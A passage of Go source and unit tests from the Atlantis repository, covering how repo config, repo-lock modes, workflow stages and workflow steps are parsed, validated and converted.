Bool(false),\n\t\t\t\tRepoLocks:     &raw.RepoLocks{Mode: &repoLocksOnApply},\n\t\t\t\tProjects: []raw.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              String(\"mydir\"),\n\t\t\t\t\t\tWorkspace:        String(\"myworkspace\"),\n\t\t\t\t\t\tWorkflow:         String(\"default\"),\n\t\t\t\t\t\tTerraformVersion: String(\"v0.11.0\"),\n\t\t\t\t\t\tAutoplan: &raw.Autoplan{\n\t\t\t\t\t\t\tWhenModified: []string{},\n\t\t\t\t\t\t\tEnabled:      Bool(false),\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"mergeable\"},\n\t\t\t\t\t\tRepoLocks:         &raw.RepoLocks{Mode: &repoLocksDisabled},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]raw.Workflow{\n\t\t\t\t\t\"default\": {\n\t\t\t\t\t\tApply: &raw.Stage{\n\t\t\t\t\t\t\tSteps: []raw.Step{},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPlan: &raw.Stage{\n\t\t\t\t\t\t\tSteps: []raw.Step{},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPolicyCheck: &raw.Stage{\n\t\t\t\t\t\t\tSteps: []raw.Step{},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tAllowedRegexpPrefixes: []string{\"dev/\", \"staging/\"},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tvar conf raw.RepoCfg\n\t\t\terr := unmarshalString(c.input, &conf)\n\t\t\tif c.expErr != \"\" {\n\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, conf)\n\t\t})\n\t}\n}\n\nfunc TestConfig_Validate(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.RepoCfg\n\t\texpErr      string\n\t}{\n\t\t{\n\t\t\tdescription: \"version not nil\",\n\t\t\tinput: raw.RepoCfg{\n\t\t\t\tVersion: nil,\n\t\t\t},\n\t\t\texpErr: \"version: is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"version not 2 or 3\",\n\t\t\tinput: raw.RepoCfg{\n\t\t\t\tVersion: Int(1),\n\t\t\t},\n\t\t\texpErr: \"version: only versions 2 and 3 are supported.\",\n\t\t},\n\t}\n\tvalidation.ErrorTag = \"yaml\"\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\terr := c.input.Validate()\n\t\t\tif c.expErr == \"\" {\n\t\t\t\tOk(t, err)\n\t\t\t} else {\n\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestConfig_ToValid(t *testing.T) {\n\tautoDiscoverEnabled := valid.AutoDiscoverEnabledMode\n\trepoLocksOnApply := valid.RepoLocksOnApplyMode\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.RepoCfg\n\t\texp         valid.RepoCfg\n\t}{\n\t\t{\n\t\t\tdescription: \"nothing set\",\n\t\t\tinput:       raw.RepoCfg{Version: Int(2)},\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion:   2,\n\t\t\t\tWorkflows: make(map[string]valid.Workflow),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"set to empty\",\n\t\t\tinput: raw.RepoCfg{\n\t\t\t\tVersion:      Int(2),\n\t\t\t\tAutoDiscover: &raw.AutoDiscover{},\n\t\t\t\tWorkflows:    map[string]raw.Workflow{},\n\t\t\t\tProjects:     []raw.Project{},\n\t\t\t\tRepoLocks:    &raw.RepoLocks{},\n\t\t\t},\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion:      2,\n\t\t\t\tAutoDiscover: raw.DefaultAutoDiscover(),\n\t\t\t\tWorkflows:    map[string]valid.Workflow{},\n\t\t\t\tProjects:     nil,\n\t\t\t\tRepoLocks:    &valid.DefaultRepoLocks,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"automerge, parallel_apply, abort_on_execution_order_fail omitted\",\n\t\t\tinput: raw.RepoCfg{\n\t\t\t\tVersion: Int(2),\n\t\t\t},\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion:                   2,\n\t\t\t\tAutomerge:                 nil,\n\t\t\t\tParallelApply:             nil,\n\t\t\t\tAbortOnExecutionOrderFail: false,\n\t\t\t\tWorkflows:                 map[string]valid.Workflow{},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"automerge, parallel_apply, abort_on_execution_order_fail true\",\n\t\t\tinput: raw.RepoCfg{\n\t\t\t\tVersion:                   Int(2),\n\t\t\t\tAutomerge:                 Bool(true),\n\t\t\t\tParallelApply:             Bool(true),\n\t\t\t\tAbortOnExecutionOrderFail: Bool(true),\n\t\t\t},\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion:                   2,\n\t\t\t\tAutomerge:                 Bool(true),\n\t\t\t\tParallelApply:             Bool(true),\n\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\tWorkflows:                 map[string]valid.Workflow{},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"automerge, parallel_apply, abort_on_execution_order_fail false\",\n\t\t\tinput: raw.RepoCfg{\n\t\t\t\tVersion:                   Int(2),\n\t\t\t\tAutomerge:                 Bool(false),\n\t\t\t\tParallelApply:             Bool(false),\n\t\t\t\tAbortOnExecutionOrderFail: Bool(false),\n\t\t\t},\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion:                   2,\n\t\t\t\tAutomerge:                 Bool(false),\n\t\t\t\tParallelApply:             Bool(false),\n\t\t\t\tAbortOnExecutionOrderFail: false,\n\t\t\t\tWorkflows:                 map[string]valid.Workflow{},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"autodiscover omitted\",\n\t\t\tinput: raw.RepoCfg{\n\t\t\t\tVersion: Int(2),\n\t\t\t},\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion:   2,\n\t\t\t\tWorkflows: map[string]valid.Workflow{},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"autodiscover included\",\n\t\t\tinput: raw.RepoCfg{\n\t\t\t\tVersion:      Int(2),\n\t\t\t\tAutoDiscover: &raw.AutoDiscover{Mode: &autoDiscoverEnabled},\n\t\t\t},\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 2,\n\t\t\t\tAutoDiscover: &valid.AutoDiscover{\n\t\t\t\t\tMode: valid.AutoDiscoverEnabledMode,\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"repo_locks omitted\",\n\t\t\tinput: raw.RepoCfg{\n\t\t\t\tVersion: Int(2),\n\t\t\t},\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion:   2,\n\t\t\t\tWorkflows: map[string]valid.Workflow{},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"repo_locks included\",\n\t\t\tinput: raw.RepoCfg{\n\t\t\t\tVersion:   Int(2),\n\t\t\t\tRepoLocks: &raw.RepoLocks{Mode: &repoLocksOnApply},\n\t\t\t},\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 2,\n\t\t\t\tRepoLocks: &valid.RepoLocks{\n\t\t\t\t\tMode: valid.RepoLocksOnApplyMode,\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"only plan stage set\",\n\t\t\tinput: raw.RepoCfg{\n\t\t\t\tVersion: Int(2),\n\t\t\t\tWorkflows: map[string]raw.Workflow{\n\t\t\t\t\t\"myworkflow\": {\n\t\t\t\t\t\tPlan:        &raw.Stage{},\n\t\t\t\t\t\tApply:       nil,\n\t\t\t\t\t\tPolicyCheck: nil,\n\t\t\t\t\t\tImport:      nil,\n\t\t\t\t\t\tStateRm:     nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion:       2,\n\t\t\t\tAutomerge:     nil,\n\t\t\t\tParallelApply: nil,\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": {\n\t\t\t\t\t\tName:        \"myworkflow\",\n\t\t\t\t\t\tPlan:        valid.DefaultPlanStage,\n\t\t\t\t\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\t\t\t\t\tApply:       valid.DefaultApplyStage,\n\t\t\t\t\t\tImport:      valid.DefaultImportStage,\n\t\t\t\t\t\tStateRm:     valid.DefaultStateRmStage,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"everything set\",\n\t\t\tinput: raw.RepoCfg{\n\t\t\t\tVersion:       Int(2),\n\t\t\t\tAutomerge:     Bool(true),\n\t\t\t\tParallelApply: Bool(true),\n\t\t\t\tAutoDiscover: &raw.AutoDiscover{\n\t\t\t\t\tMode: &autoDiscoverEnabled,\n\t\t\t\t},\n\t\t\t\tRepoLocks: &raw.RepoLocks{\n\t\t\t\t\tMode: &repoLocksOnApply,\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]raw.Workflow{\n\t\t\t\t\t\"myworkflow\": {\n\t\t\t\t\t\tApply: &raw.Stage{\n\t\t\t\t\t\t\tSteps: []raw.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tKey: String(\"apply\"),\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPolicyCheck: &raw.Stage{\n\t\t\t\t\t\t\tSteps: []raw.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tKey: String(\"policy_check\"),\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPlan: &raw.Stage{\n\t\t\t\t\t\t\tSteps: []raw.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tKey: String(\"init\"),\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tImport: &raw.Stage{\n\t\t\t\t\t\t\tSteps: []raw.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tKey: String(\"import\"),\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tStateRm: &raw.Stage{\n\t\t\t\t\t\t\tSteps: []raw.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tKey: String(\"state_rm\"),\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tProjects: []raw.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir: String(\"mydir\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion:       2,\n\t\t\t\tAutomerge:     Bool(true),\n\t\t\t\tParallelApply: Bool(true),\n\t\t\t\tAutoDiscover: &valid.AutoDiscover{\n\t\t\t\t\tMode: valid.AutoDiscoverEnabledMode,\n\t\t\t\t},\n\t\t\t\tRepoLocks: &valid.RepoLocks{\n\t\t\t\t\tMode: valid.RepoLocksOnApplyMode,\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": {\n\t\t\t\t\t\tName: \"myworkflow\",\n\t\t\t\t\t\tApply: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"apply\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPolicyCheck: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"policy_check\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPlan: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"init\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tImport: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"import\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tStateRm: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName: \"state_rm\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:       \"mydir\",\n\t\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.input.ToValid())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/repo_locks.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport (\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n)\n\ntype RepoLocks struct {\n\tMode *valid.RepoLocksMode `yaml:\"mode,omitempty\"`\n}\n\nfunc (a RepoLocks) ToValid() *valid.RepoLocks {\n\tvar v valid.RepoLocks\n\n\tif a.Mode != nil {\n\t\tv.Mode = *a.Mode\n\t} else {\n\t\tv.Mode = valid.DefaultRepoLocksMode\n\t}\n\n\treturn &v\n}\n\nfunc (a RepoLocks) Validate() error {\n\tres := validation.ValidateStruct(&a,\n\t\t// If a.Mode is nil, this should still pass validation.\n\t\tvalidation.Field(&a.Mode, validation.In(valid.RepoLocksDisabledMode, valid.RepoLocksOnPlanMode, valid.RepoLocksOnApplyMode)),\n\t)\n\treturn res\n}\n"
  },
  {
    "path": "server/core/config/raw/repo_locks_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestRepoLocks_UnmarshalYAML(t *testing.T) {\n\trepoLocksOnPlan := valid.RepoLocksOnPlanMode\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texp         raw.RepoLocks\n\t}{\n\t\t{\n\t\t\tdescription: \"omit unset fields\",\n\t\t\tinput:       \"\",\n\t\t\texp: raw.RepoLocks{\n\t\t\t\tMode: nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"all fields set\",\n\t\t\tinput: `\nmode: on_plan\n`,\n\t\t\texp: raw.RepoLocks{\n\t\t\t\tMode: &repoLocksOnPlan,\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tvar a raw.RepoLocks\n\t\t\terr := unmarshalString(c.input, &a)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, a)\n\t\t})\n\t}\n}\n\nfunc TestRepoLocks_Validate(t *testing.T) {\n\trepoLocksDisabled := valid.RepoLocksDisabledMode\n\trepoLocksOnPlan := valid.RepoLocksOnPlanMode\n\trepoLocksOnApply := valid.RepoLocksOnApplyMode\n\trandomString := valid.RepoLocksMode(\"random_string\")\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.RepoLocks\n\t\terrContains *string\n\t}{\n\t\t{\n\t\t\tdescription: \"nothing set\",\n\t\t\tinput:       raw.RepoLocks{},\n\t\t\terrContains: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"mode set to disabled\",\n\t\t\tinput: raw.RepoLocks{\n\t\t\t\tMode: &repoLocksDisabled,\n\t\t\t},\n\t\t\terrContains: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"mode set to on_plan\",\n\t\t\tinput: raw.RepoLocks{\n\t\t\t\tMode: &repoLocksOnPlan,\n\t\t\t},\n\t\t\terrContains: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"mode set to on_apply\",\n\t\t\tinput: raw.RepoLocks{\n\t\t\t\tMode: &repoLocksOnApply,\n\t\t\t},\n\t\t\terrContains: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"mode set to random string\",\n\t\t\tinput: raw.RepoLocks{\n\t\t\t\tMode: &randomString,\n\t\t\t},\n\t\t\terrContains: String(\"valid value\"),\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tif c.errContains == nil {\n\t\t\t\tOk(t, c.input.Validate())\n\t\t\t} else {\n\t\t\t\tErrContains(t, *c.errContains, c.input.Validate())\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestRepoLocks_ToValid(t *testing.T) {\n\trepoLocksOnApply := valid.RepoLocksOnApplyMode\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.RepoLocks\n\t\texp         *valid.RepoLocks\n\t}{\n\t\t{\n\t\t\tdescription: \"nothing set\",\n\t\t\tinput:       raw.RepoLocks{},\n\t\t\texp:         &valid.DefaultRepoLocks,\n\t\t},\n\t\t{\n\t\t\tdescription: \"value set\",\n\t\t\tinput: raw.RepoLocks{\n\t\t\t\tMode: &repoLocksOnApply,\n\t\t\t},\n\t\t\texp: &valid.RepoLocks{\n\t\t\t\tMode: valid.RepoLocksOnApplyMode,\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.input.ToValid())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/stage.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport (\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n)\n\ntype Stage struct {\n\tSteps []Step `yaml:\"steps,omitempty\" json:\"steps,omitempty\"`\n}\n\nfunc (s Stage) Validate() error {\n\treturn validation.ValidateStruct(&s,\n\t\tvalidation.Field(&s.Steps),\n\t)\n}\n\nfunc (s Stage) ToValid() valid.Stage {\n\tvar validSteps []valid.Step\n\tfor _, s := range s.Steps {\n\t\tvalidSteps = append(validSteps, s.ToValid())\n\t}\n\treturn valid.Stage{\n\t\tSteps: validSteps,\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/stage_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw_test\n\nimport (\n\t\"testing\"\n\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestStage_UnmarshalYAML(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texp         raw.Stage\n\t}{\n\t\t{\n\t\t\tdescription: \"empty\",\n\t\t\tinput:       \"\",\n\t\t\texp: raw.Stage{\n\t\t\t\tSteps: nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"all fields set\",\n\t\t\tinput: `\nsteps: [step1]\n`,\n\t\t\texp: raw.Stage{\n\t\t\t\tSteps: []raw.Step{\n\t\t\t\t\t{\n\t\t\t\t\t\tKey: String(\"step1\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tvar a raw.Stage\n\t\t\terr := unmarshalString(c.input, &a)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, a)\n\t\t})\n\t}\n}\n\nfunc TestStage_Validate(t *testing.T) {\n\t// Should validate each step.\n\ts := raw.Stage{\n\t\tSteps: []raw.Step{\n\t\t\t{\n\t\t\t\tKey: String(\"invalid\"),\n\t\t\t},\n\t\t},\n\t}\n\tvalidation.ErrorTag = \"yaml\"\n\tErrEquals(t, \"steps: (0: \\\"invalid\\\" is not a valid step type, maybe you omitted the 'run' key.).\", s.Validate())\n\n\t// Empty steps should validate.\n\tOk(t, (raw.Stage{}).Validate())\n}\n\nfunc TestStage_ToValid(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.Stage\n\t\texp         valid.Stage\n\t}{\n\t\t{\n\t\t\tdescription: \"nothing set\",\n\t\t\tinput:       raw.Stage{},\n\t\t\texp: valid.Stage{\n\t\t\t\tSteps: nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"fields set\",\n\t\t\tinput: raw.Stage{\n\t\t\t\tSteps: []raw.Step{\n\t\t\t\t\t{\n\t\t\t\t\t\tKey: String(\"init\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: valid.Stage{\n\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t{\n\t\t\t\t\t\tStepName: \"init\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.input.ToValid())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/step.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"maps\"\n\t\"regexp\"\n\t\"slices\"\n\t\"sort\"\n\t\"strings\"\n\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n)\n\nconst (\n\tExtraArgsKey        = \"extra_args\"\n\tNameArgKey          = \"name\"\n\tCommandArgKey       = \"command\"\n\tValueArgKey         = \"value\"\n\tOutputArgKey        = \"output\"\n\tRunStepName         = \"run\"\n\tPlanStepName        = \"plan\"\n\tShowStepName        = \"show\"\n\tPolicyCheckStepName = \"policy_check\"\n\tApplyStepName       = \"apply\"\n\tInitStepName        = \"init\"\n\tEnvStepName         = \"env\"\n\tMultiEnvStepName    = \"multienv\"\n\tImportStepName      = \"import\"\n\tStateRmStepName     = \"state_rm\"\n\tShellArgKey         = \"shell\"\n\tShellArgsArgKey     = \"shellArgs\"\n)\n\n/*\nStep represents a single action/command to perform. In YAML, it can be set as\n1. A single string for a built-in command:\n  - init\n  - plan\n  - policy_check\n\n2. A map for an env step with name and command or value, or a run step with a command and output config\n  - env:\n    name: test_command\n    command: echo 312\n  - env:\n    name: test_value\n    value: value\n  - env:\n    name: test_bash_command\n    command: echo ${test_value::7}\n    shell: bash\n    shellArgs: [\"--verbose\", \"-c\"]\n  - multienv:\n    command: envs.sh\n    output: hide\n    shell: sh\n    shellArgs: -c\n  - run:\n    command: my custom command\n    output: hide\n  - run:\n    command: my custom command\n    output: [\"strip_refreshing\", {\"filter_regex\": \"((?i)secret:\\\\s\\\")[^\\\"]*\"}]\n\n3. A map for a built-in command and extra_args:\n  - plan:\n    extra_args: [-var-file=staging.tfvars]\n\n4. A map for a custom run command:\n  - run: my custom command\n\nHere we parse step in the most generic fashion possible. See fields for more\ndetails.\n*/\ntype Step struct {\n\t// Key will be set in case #1 and #3 above to the key. In case #2, there\n\t// could be multiple keys (since the element is a map) so we don't set Key.\n\tKey *string\n\t// StringVal will be set in case #4 above.\n\tStringVal map[string]string\n\t// Map will be set in case #3 above.\n\tMap map[string]map[string][]string\n\t// CommandMap will be set in case #2 above.\n\tCommandMap map[string]map[string]any\n}\n\nfunc (s *Step) UnmarshalYAML(unmarshal func(any) error) error {\n\treturn s.unmarshalGeneric(unmarshal)\n}\n\nfunc (s Step) MarshalYAML() (any, error) {\n\treturn s.marshalGeneric()\n}\n\nfunc (s *Step) UnmarshalJSON(data []byte) error {\n\treturn s.unmarshalGeneric(func(i any) error {\n\t\treturn json.Unmarshal(data, i)\n\t})\n}\n\nfunc (s *Step) MarshalJSON() ([]byte, error) {\n\tout, err := s.marshalGeneric()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn json.Marshal(out)\n}\n\nfunc (s Step) validStepName(stepName string) bool {\n\treturn stepName == InitStepName ||\n\t\tstepName == PlanStepName ||\n\t\tstepName == ApplyStepName ||\n\t\tstepName == EnvStepName ||\n\t\tstepName == MultiEnvStepName ||\n\t\tstepName == ShowStepName ||\n\t\tstepName == PolicyCheckStepName ||\n\t\tstepName == ImportStepName ||\n\t\tstepName == StateRmStepName\n}\n\nfunc (s Step) Validate() error {\n\tvalidStep := func(value any) error {\n\t\tstr := *value.(*string)\n\t\tif !s.validStepName(str) {\n\t\t\treturn fmt.Errorf(\"%q is not a valid step type, maybe you omitted the 'run' key\", str)\n\t\t}\n\t\treturn nil\n\t}\n\n\textraArgs := func(value any) error {\n\t\telem := value.(map[string]map[string][]string)\n\t\tvar keys []string\n\t\tfor k := range elem {\n\t\t\tkeys = append(keys, k)\n\t\t}\n\t\t// Sort so tests can be deterministic.\n\t\tsort.Strings(keys)\n\n\t\tif len(keys) > 1 {\n\t\t\treturn fmt.Errorf(\"step element can only contain a single key, found %d: %s\",\n\t\t\t\tlen(keys), strings.Join(keys, \",\"))\n\t\t}\n\t\tfor stepName, args := range elem {\n\t\t\tif !s.validStepName(stepName) {\n\t\t\t\treturn fmt.Errorf(\"%q is not a valid step type\", stepName)\n\t\t\t}\n\t\t\tvar argKeys []string\n\t\t\tfor k := range args {\n\t\t\t\targKeys = append(argKeys, k)\n\t\t\t}\n\t\t\t// Sort so tests can be deterministic.\n\t\t\tsort.Strings(argKeys)\n\n\t\t\t// args should contain a single 'extra_args' key.\n\t\t\tif len(argKeys) > 1 {\n\t\t\t\treturn fmt.Errorf(\"built-in steps only support a single %s key, found %d: %s\",\n\t\t\t\t\tExtraArgsKey, len(argKeys), strings.Join(argKeys, \",\"))\n\t\t\t}\n\t\t\tfor k := range args {\n\t\t\t\tif k != ExtraArgsKey {\n\t\t\t\t\treturn fmt.Errorf(\"built-in steps only support a single %s key, found %q in step %s\",\n\t\t\t\t\t\tExtraArgsKey, k, stepName)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\tenvOrRunOrMultiEnvStep := func(value any) error {\n\t\telem := value.(map[string]map[string]any)\n\t\tvar keys []string\n\t\tfor k := range elem {\n\t\t\tkeys = append(keys, k)\n\t\t}\n\t\t// Sort so tests can be deterministic.\n\t\tsort.Strings(keys)\n\n\t\tif len(keys) > 1 {\n\t\t\treturn fmt.Errorf(\"step element can only contain a single key, found %d: %s\",\n\t\t\t\tlen(keys), strings.Join(keys, \",\"))\n\t\t}\n\t\tif len(keys) == 0 {\n\t\t\treturn fmt.Errorf(\"step element must contain at least 1 key\")\n\t\t}\n\n\t\tstepName := keys[0]\n\t\targs := elem[keys[0]]\n\n\t\tvar argKeys []string\n\t\tfor k := range args {\n\t\t\targKeys = append(argKeys, k)\n\t\t}\n\t\targMap := make(map[string]any)\n\t\tmaps.Copy(argMap, args)\n\t\t// Sort so tests can be deterministic.\n\t\tsort.Strings(argKeys)\n\n\t\t// Validate keys common for all the steps.\n\t\tif utils.SlicesContains(argKeys, ShellArgKey) && !utils.SlicesContains(argKeys, CommandArgKey) {\n\t\t\treturn fmt.Errorf(\"workflow steps only support %q key in combination with %q key\",\n\t\t\t\tShellArgKey, CommandArgKey)\n\t\t}\n\t\tif utils.SlicesContains(argKeys, ShellArgsArgKey) && !utils.SlicesContains(argKeys, ShellArgKey) {\n\t\t\treturn fmt.Errorf(\"workflow steps only support %q key in combination with %q key\",\n\t\t\t\tShellArgsArgKey, ShellArgKey)\n\t\t}\n\n\t\tswitch t := argMap[ShellArgsArgKey].(type) {\n\t\tcase nil:\n\t\tcase string:\n\t\tcase []any:\n\t\t\tfor _, e := range t {\n\t\t\t\tif _, ok := e.(string); !ok {\n\t\t\t\t\treturn fmt.Errorf(\"%q step %q option must contain only strings, found %v\",\n\t\t\t\t\t\tstepName, 